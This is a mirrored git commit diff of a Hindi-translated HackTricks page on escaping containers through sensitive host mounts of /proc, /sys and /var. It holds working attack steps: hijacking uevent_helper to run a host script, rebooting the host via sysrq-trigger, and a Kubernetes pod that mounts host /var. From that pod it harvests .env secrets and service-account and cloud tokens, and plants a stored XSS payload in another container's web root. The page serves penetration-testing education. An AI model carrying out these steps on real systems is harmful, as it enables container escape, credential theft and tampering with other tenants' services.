mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/docker-security/do
This commit is contained in:
parent
fa2ae2e19c
commit
2fd6655481
BIN
src/images/stored-xss-via-mounted-var-folder.png
Normal file
BIN
src/images/stored-xss-via-mounted-var-folder.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 53 KiB |
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
`/proc` और `/sys` का उचित namespace isolation के बिना खुलासा महत्वपूर्ण सुरक्षा जोखिमों को जन्म देता है, जिसमें हमले की सतह का विस्तार और जानकारी का खुलासा शामिल है। ये निर्देशिकाएँ संवेदनशील फ़ाइलें रखती हैं जो, यदि गलत तरीके से कॉन्फ़िगर की गईं या किसी अनधिकृत उपयोगकर्ता द्वारा एक्सेस की गईं, तो कंटेनर से भागने, होस्ट में संशोधन, या आगे के हमलों में मदद करने वाली जानकारी प्रदान कर सकती हैं। उदाहरण के लिए, `-v /proc:/host/proc` को गलत तरीके से माउंट करने से AppArmor सुरक्षा को बायपास किया जा सकता है, जिससे `/host/proc` असुरक्षित रह जाता है।
|
`/proc`, `/sys`, और `/var` का उचित namespace isolation के बिना खुलासा महत्वपूर्ण सुरक्षा जोखिमों को जन्म देता है, जिसमें हमले की सतह का विस्तार और जानकारी का खुलासा शामिल है। ये निर्देशिकाएँ संवेदनशील फ़ाइलें रखती हैं जो, यदि गलत तरीके से कॉन्फ़िगर की गईं या किसी अनधिकृत उपयोगकर्ता द्वारा एक्सेस की गईं, तो कंटेनर से बाहर निकलने, होस्ट में संशोधन, या आगे के हमलों में मदद करने वाली जानकारी प्रदान कर सकती हैं। उदाहरण के लिए, `-v /proc:/host/proc` को गलत तरीके से माउंट करना AppArmor सुरक्षा को बायपास कर सकता है, जिससे `/host/proc` असुरक्षित रह जाता है।
|
||||||
|
|
||||||
**आप प्रत्येक संभावित vuln के बारे में और विवरण पा सकते हैं** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
**आप प्रत्येक संभावित vuln के बारे में और विवरण पा सकते हैं** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**।**
|
||||||
|
|
||||||
## procfs Vulnerabilities
|
## procfs Vulnerabilities
|
||||||
|
|
||||||
@ -15,7 +15,7 @@
|
|||||||
#### **`/proc/sys/kernel/core_pattern`**
|
#### **`/proc/sys/kernel/core_pattern`**
|
||||||
|
|
||||||
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) में वर्णित।
|
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) में वर्णित।
|
||||||
- कोर-फाइल जनरेशन पर निष्पादित करने के लिए एक प्रोग्राम को परिभाषित करने की अनुमति देता है, जिसमें पहले 128 बाइट्स तर्क के रूप में होते हैं। यदि फ़ाइल एक पाइप `|` से शुरू होती है, तो यह कोड निष्पादन की ओर ले जा सकता है।
|
- कोर-फ़ाइल उत्पन्न होने पर निष्पादित करने के लिए एक प्रोग्राम को परिभाषित करने की अनुमति देता है, जिसमें पहले 128 बाइट्स तर्क के रूप में होते हैं। यदि फ़ाइल एक पाइप `|` से शुरू होती है तो यह कोड निष्पादन का कारण बन सकता है।
|
||||||
- **परीक्षण और शोषण उदाहरण**:
|
- **परीक्षण और शोषण उदाहरण**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@ -38,17 +38,17 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
|
|||||||
#### **`/proc/sys/vm/panic_on_oom`**
|
#### **`/proc/sys/vm/panic_on_oom`**
|
||||||
|
|
||||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) में संदर्भित।
|
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) में संदर्भित।
|
||||||
- एक वैश्विक ध्वज जो नियंत्रित करता है कि क्या कर्नेल पैनिक करता है या OOM स्थिति होने पर OOM किलर को बुलाता है।
|
- एक वैश्विक ध्वज जो नियंत्रित करता है कि क्या कर्नेल पैनिक करता है या OOM किलर को बुलाता है जब OOM स्थिति होती है।
|
||||||
|
|
||||||
#### **`/proc/sys/fs`**
|
#### **`/proc/sys/fs`**
|
||||||
|
|
||||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) के अनुसार, फ़ाइल प्रणाली के बारे में विकल्प और जानकारी रखता है।
|
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) के अनुसार, फ़ाइल प्रणाली के बारे में विकल्प और जानकारी रखता है।
|
||||||
- लिखने की अनुमति विभिन्न सेवा से इनकार करने वाले हमलों को सक्षम कर सकती है।
|
- लिखने की अनुमति विभिन्न सेवा से इनकार के हमलों को सक्षम कर सकती है।
|
||||||
|
|
||||||
#### **`/proc/sys/fs/binfmt_misc`**
|
#### **`/proc/sys/fs/binfmt_misc`**
|
||||||
|
|
||||||
- उनके जादुई नंबर के आधार पर गैर-देशी बाइनरी प्रारूपों के लिए इंटरप्रेटर्स को पंजीकृत करने की अनुमति देता है।
|
- मैजिक नंबर के आधार पर गैर-देशी बाइनरी प्रारूपों के लिए इंटरप्रेटर्स को पंजीकृत करने की अनुमति देता है।
|
||||||
- यदि `/proc/sys/fs/binfmt_misc/register` लिखा जा सकता है, तो यह विशेषाधिकार वृद्धि या रूट शेल एक्सेस की ओर ले जा सकता है।
|
- यदि `/proc/sys/fs/binfmt_misc/register` लिखा जा सकता है तो यह विशेषाधिकार वृद्धि या रूट शेल एक्सेस का कारण बन सकता है।
|
||||||
- प्रासंगिक शोषण और व्याख्या:
|
- प्रासंगिक शोषण और व्याख्या:
|
||||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||||
- गहन ट्यूटोरियल: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
- गहन ट्यूटोरियल: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||||
@ -57,7 +57,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
|
|||||||
|
|
||||||
#### **`/proc/config.gz`**
|
#### **`/proc/config.gz`**
|
||||||
|
|
||||||
- यदि `CONFIG_IKCONFIG_PROC` सक्षम है तो कर्नेल कॉन्फ़िगरेशन को प्रकट कर सकता है।
|
- यदि `CONFIG_IKCONFIG_PROC` सक्षम है तो कर्नेल कॉन्फ़िगरेशन प्रकट कर सकता है।
|
||||||
- चल रहे कर्नेल में कमजोरियों की पहचान करने के लिए हमलावरों के लिए उपयोगी।
|
- चल रहे कर्नेल में कमजोरियों की पहचान करने के लिए हमलावरों के लिए उपयोगी।
|
||||||
|
|
||||||
#### **`/proc/sysrq-trigger`**
|
#### **`/proc/sysrq-trigger`**
|
||||||
@ -84,7 +84,7 @@ echo b > /proc/sysrq-trigger # Reboots the host
|
|||||||
#### **`/proc/[pid]/mem`**
|
#### **`/proc/[pid]/mem`**
|
||||||
|
|
||||||
- कर्नेल मेमोरी डिवाइस `/dev/mem` के साथ इंटरफेस करता है।
|
- कर्नेल मेमोरी डिवाइस `/dev/mem` के साथ इंटरफेस करता है।
|
||||||
- ऐतिहासिक रूप से विशेषाधिकार वृद्धि हमलों के प्रति संवेदनशील।
|
- ऐतिहासिक रूप से विशेषाधिकार वृद्धि हमलों के लिए संवेदनशील।
|
||||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) पर अधिक।
|
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) पर अधिक।
|
||||||
|
|
||||||
#### **`/proc/kcore`**
|
#### **`/proc/kcore`**
|
||||||
@ -96,18 +96,18 @@ echo b > /proc/sysrq-trigger # Reboots the host
|
|||||||
|
|
||||||
#### **`/proc/kmem`**
|
#### **`/proc/kmem`**
|
||||||
|
|
||||||
- कर्नेल वर्चुअल मेमोरी का प्रतिनिधित्व करने के लिए `/dev/kmem` के लिए वैकल्पिक इंटरफेस।
|
- `/dev/kmem` के लिए वैकल्पिक इंटरफेस, कर्नेल वर्चुअल मेमोरी का प्रतिनिधित्व करता है।
|
||||||
- पढ़ने और लिखने की अनुमति देता है, इसलिए कर्नेल मेमोरी का प्रत्यक्ष संशोधन।
|
- पढ़ने और लिखने की अनुमति देता है, इसलिए कर्नेल मेमोरी का प्रत्यक्ष संशोधन।
|
||||||
|
|
||||||
#### **`/proc/mem`**
|
#### **`/proc/mem`**
|
||||||
|
|
||||||
- भौतिक मेमोरी का प्रतिनिधित्व करने के लिए `/dev/mem` के लिए वैकल्पिक इंटरफेस।
|
- `/dev/mem` के लिए वैकल्पिक इंटरफेस, भौतिक मेमोरी का प्रतिनिधित्व करता है।
|
||||||
- पढ़ने और लिखने की अनुमति देता है, सभी मेमोरी का संशोधन वर्चुअल से भौतिक पते को हल करने की आवश्यकता है।
|
- पढ़ने और लिखने की अनुमति देता है, सभी मेमोरी का संशोधन वर्चुअल से भौतिक पते को हल करने की आवश्यकता है।
|
||||||
|
|
||||||
#### **`/proc/sched_debug`**
|
#### **`/proc/sched_debug`**
|
||||||
|
|
||||||
- प्रक्रिया शेड्यूलिंग जानकारी लौटाता है, PID namespace सुरक्षा को बायपास करता है।
|
- प्रक्रिया शेड्यूलिंग जानकारी लौटाता है, PID namespace सुरक्षा को बायपास करता है।
|
||||||
- प्रक्रिया नाम, आईडी और cgroup पहचानकर्ताओं को उजागर करता है।
|
- प्रक्रिया नाम, आईडी, और cgroup पहचानकर्ताओं को उजागर करता है।
|
||||||
|
|
||||||
#### **`/proc/[pid]/mountinfo`**
|
#### **`/proc/[pid]/mountinfo`**
|
||||||
|
|
||||||
@ -119,7 +119,7 @@ echo b > /proc/sysrq-trigger # Reboots the host
|
|||||||
#### **`/sys/kernel/uevent_helper`**
|
#### **`/sys/kernel/uevent_helper`**
|
||||||
|
|
||||||
- कर्नेल डिवाइस `uevents` को संभालने के लिए उपयोग किया जाता है।
|
- कर्नेल डिवाइस `uevents` को संभालने के लिए उपयोग किया जाता है।
|
||||||
- `/sys/kernel/uevent_helper` में लिखने से `uevent` ट्रिगर होने पर मनमाने स्क्रिप्ट को निष्पादित किया जा सकता है।
|
- `/sys/kernel/uevent_helper` पर लिखने से `uevent` ट्रिगर होने पर मनमाने स्क्रिप्ट को निष्पादित किया जा सकता है।
|
||||||
- **शोषण का उदाहरण**: %%%bash
|
- **शोषण का उदाहरण**: %%%bash
|
||||||
|
|
||||||
#### एक पेलोड बनाता है
|
#### एक पेलोड बनाता है
|
||||||
@ -134,7 +134,7 @@ host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
|
|||||||
|
|
||||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||||
|
|
||||||
#### एक uevent को ट्रिगर करता है
|
#### एक uevent ट्रिगर करता है
|
||||||
|
|
||||||
echo change > /sys/class/mem/null/uevent
|
echo change > /sys/class/mem/null/uevent
|
||||||
|
|
||||||
@ -158,14 +158,101 @@ cat /output %%%
|
|||||||
#### **`/sys/firmware/efi/vars` और `/sys/firmware/efi/efivars`**
|
#### **`/sys/firmware/efi/vars` और `/sys/firmware/efi/efivars`**
|
||||||
|
|
||||||
- NVRAM में EFI वेरिएबल्स के साथ इंटरैक्ट करने के लिए इंटरफेस को उजागर करता है।
|
- NVRAM में EFI वेरिएबल्स के साथ इंटरैक्ट करने के लिए इंटरफेस को उजागर करता है।
|
||||||
- गलत कॉन्फ़िगरेशन या शोषण से लैपटॉप या अनबूटेबल होस्ट मशीनें बर्बाद हो सकती हैं।
|
- गलत कॉन्फ़िगरेशन या शोषण से लैपटॉप को ब्रिक या अनबूटेबल होस्ट मशीनों का कारण बन सकता है।
|
||||||
|
|
||||||
#### **`/sys/kernel/debug`**
|
#### **`/sys/kernel/debug`**
|
||||||
|
|
||||||
- `debugfs` कर्नेल के लिए "कोई नियम नहीं" डिबगिंग इंटरफेस प्रदान करता है।
|
- `debugfs` कर्नेल के लिए "कोई नियम नहीं" डिबगिंग इंटरफेस प्रदान करता है।
|
||||||
- इसकी अनियंत्रित प्रकृति के कारण सुरक्षा मुद्दों का इतिहास है।
|
- इसकी अनियंत्रित प्रकृति के कारण सुरक्षा मुद्दों का इतिहास है।
|
||||||
|
|
||||||
### References
|
### `/var` Vulnerabilities
|
||||||
|
|
||||||
|
होस्ट का **/var** फ़ोल्डर कंटेनर रनटाइम सॉकेट और कंटेनरों की फ़ाइल सिस्टम को रखता है। यदि इस फ़ोल्डर को एक कंटेनर के अंदर माउंट किया जाता है, तो उस कंटेनर को अन्य कंटेनरों की फ़ाइल सिस्टम पर रूट विशेषाधिकारों के साथ पढ़ने-लिखने की अनुमति मिलेगी। इसका दुरुपयोग कंटेनरों के बीच पिवट करने, सेवा से इनकार करने, या अन्य कंटेनरों और उन पर चलने वाले अनुप्रयोगों में बैकडोर डालने के लिए किया जा सकता है।
|
||||||
|
|
||||||
|
#### Kubernetes
|
||||||
|
|
||||||
|
यदि इस तरह का एक कंटेनर Kubernetes के साथ तैनात किया जाता है:
|
||||||
|
```yaml
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Pod
|
||||||
|
metadata:
|
||||||
|
name: pod-mounts-var
|
||||||
|
labels:
|
||||||
|
app: pentest
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- name: pod-mounts-var-folder
|
||||||
|
image: alpine
|
||||||
|
volumeMounts:
|
||||||
|
- mountPath: /host-var
|
||||||
|
name: noderoot
|
||||||
|
command: [ "/bin/sh", "-c", "--" ]
|
||||||
|
args: [ "while true; do sleep 30; done;" ]
|
||||||
|
volumes:
|
||||||
|
- name: noderoot
|
||||||
|
hostPath:
|
||||||
|
path: /var
|
||||||
|
```
|
||||||
|
**pod-mounts-var-folder** कंटेनर के अंदर:
|
||||||
|
```bash
|
||||||
|
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
|
||||||
|
|
||||||
|
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
|
||||||
|
<SNIP>
|
||||||
|
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh
|
||||||
|
|
||||||
|
/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
|
||||||
|
JWT_SECRET=85d<SNIP>a0
|
||||||
|
REFRESH_TOKEN_SECRET=14<SNIP>ea
|
||||||
|
|
||||||
|
/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
|
||||||
|
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
|
||||||
|
<SNIP>
|
||||||
|
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
||||||
|
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
||||||
|
|
||||||
|
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
||||||
|
are/nginx/html/index2.html
|
||||||
|
```
|
||||||
|
The XSS was achieved:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
ध्यान दें कि कंटेनर को पुनः प्रारंभ करने की आवश्यकता नहीं है या कुछ भी। **/var** फ़ोल्डर के माध्यम से किए गए किसी भी परिवर्तन तुरंत लागू होंगे।
|
||||||
|
|
||||||
|
आप स्वचालित (या अर्ध-स्वचालित) RCE प्राप्त करने के लिए कॉन्फ़िगरेशन फ़ाइलें, बाइनरी, सेवाएँ, अनुप्रयोग फ़ाइलें और शेल प्रोफाइल भी बदल सकते हैं।
|
||||||
|
|
||||||
|
##### Access to cloud credentials
|
||||||
|
|
||||||
|
The container can read K8s serviceaccount tokens or AWS webidentity tokens
|
||||||
|
which allows the container to gain unauthorized access to K8s or cloud:
|
||||||
|
```bash
|
||||||
|
/ # cat /host-var/run/secrets/kubernetes.io/serviceaccount/token
|
||||||
|
/ # cat /host-var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||||
|
```
|
||||||
|
#### Docker
|
||||||
|
|
||||||
|
Docker (या Docker Compose तैनातियों) में शोषण बिल्कुल वही है, सिवाय इसके कि आमतौर पर अन्य कंटेनरों की फ़ाइल सिस्टम एक अलग आधार पथ के तहत उपलब्ध होती हैं:
|
||||||
|
```bash
|
||||||
|
$ docker info | grep -i 'docker root\|storage driver'
|
||||||
|
Storage Driver: overlay2
|
||||||
|
Docker Root Dir: /var/lib/docker
|
||||||
|
```
|
||||||
|
तो फाइल सिस्टम `/var/lib/docker/overlay2/` के अंतर्गत हैं:
|
||||||
|
```bash
|
||||||
|
$ sudo ls -la /var/lib/docker/overlay2
|
||||||
|
|
||||||
|
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||||
|
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||||
|
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||||
|
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||||
|
<SNIP>
|
||||||
|
```
|
||||||
|
#### नोट
|
||||||
|
|
||||||
|
वास्तविक पथ विभिन्न सेटअप में भिन्न हो सकते हैं, यही कारण है कि आपका सबसे अच्छा विकल्प **find** कमांड का उपयोग करना है ताकि अन्य कंटेनरों की फ़ाइल सिस्टम को खोजा जा सके।
|
||||||
|
|
||||||
|
### संदर्भ
|
||||||
|
|
||||||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||||
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
|
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user